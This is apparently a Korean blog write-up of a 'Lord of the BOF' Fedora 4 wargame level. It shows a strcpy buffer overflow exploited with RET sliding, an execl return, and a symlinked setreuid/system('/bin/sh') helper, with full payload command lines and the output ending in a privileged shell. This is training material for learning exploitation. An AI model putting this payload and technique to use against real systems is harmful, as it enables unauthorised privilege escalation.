KEYWORD : LOB 페도라 원정대 페도라4 오버플로우
dark_stone 부터는 페도라 원정대3에서 페도라 원정대 4로 이미지를 바꾸어 진행하여야 한다.
cruel 문제부터 봐보면 오히려 간단해진 문제를 볼수 있다.
strcpy 부분에서 인자값을 복사하면서 경계값을 검사 하지 않아 오버플로우가 발생한다.
execl 을 이용하여 심볼릭 링크를 걸고 공격 하는 방법을 다시 써서 공략하였다.
(gdb) p execl
$1 = {<text variable, no debug info>} 0x832d68 <execl>
0x08048451 <main+109>: ret
RET = 0x08048451
execl = 0x832d68
스택은 랜덤하기 떄문에 RET 슬라이딩을 이용하여 eip를 움직여 스택이 정적인 부분까지 끌어 올리는 방식을 택하였다.
여기서 3번정도면 스택이 정적인 부분을 찾을 수 있었으나, 인자값을 구하기 쉬운 부분을 선택하기 위하여 RET을 7번이나 더해주게 되었다.
[dark_stone@Fedora_2ndFloor ~]$ sstrace -i ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`
[008a1402] execve("./cruel", ["./cruel", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...], [/* 20 vars */]) = 0
.
.
[009c1402] execve("<춯", ["", "U\211\345WVS\203\354\f\350", "", "Q\204\4\10Q\204\4\10\234\245\307\277\364\257\214", "\205\300uSe\241T"], [/* 20 vars */]) = -1 ENOENT (No such file or directory) //execl 의 인자가 짧다.
[dark_stone@Fedora_2ndFloor ~]$ strace -i ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'` 2> result.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ?Q?Q?Q?Q?Q?Q?h-?
[dark_stone@Fedora_2ndFloor ~]$
[dark_stone@Fedora_2ndFloor ~]$ xxd result.txt
.
.
.
0000740: 6435 3430 325d 2065 7865 6376 6528 223c d5402] execve("<
0000750: ad8c 222c 205b 2222 2c20 2255 5c32 3131 ..", ["", "U\211
.
.
execl 인자값 : \x3\xad\x8c 가 이자값이 되어 실행 되었다.
다음은 execl 의 인자값을 쉘을 떨어트릴 수 있는 프로그램으로 심볼릭 링크를 걸어준다.
[dark_stone@Fedora_2ndFloor ~]$ cat system.c
#include<stdio.h>
int main(int argc, char *argv[]){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
[dark_stone@Fedora_2ndFloor ~]$ export PATH=$PATH:/home/dark_stone
[dark_stone@Fedora_2ndFloor ~]$ ln -s system `python -c 'print "\x3c\xad\x8c"'`
공격 페이로드는 다음과 같다.
[ buffer = 260 ] [ RET ] * 7 , [ execl ] [ 어딘가의 인자값 ]
\x3c\xad\x8c -> "/bin/sh 을 실행시켜주는 프로그램 "
[dark_stone@Fedora_2ndFloor ~]$ ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ?Q?Q?Q?Q?Q?Q?h-?
sh-3.00$ id
uid=501(cruel) gid=500(dark_stone) groups=500(dark_stone) context=user_u:system_r:unconfined_t
sh-3.00?y-pass
sh: ?y-pass: command not found
sh-3.00$ my-pass
euid = 501
come on, come over
sh-3.00$
'War_Game > system' 카테고리의 다른 글
HDCON 2013 neskjail 문제 ( python exec 함수의 문제 ) (0) | 2013.07.11 |
---|---|
2013 HDCON REMOTE BOF (0) | 2013.06.17 |
LOB Fedora 원정대 ( evil_wizard -> dark_stone ) (0) | 2013.04.14 |
LOB Fedora BOF GOT overwrite (hell_fire -> evil_wizard) (0) | 2013.04.07 |
[LOB] 페도라 원정대 3 (dark_eyes -> hell_fire) (0) | 2013.04.01 |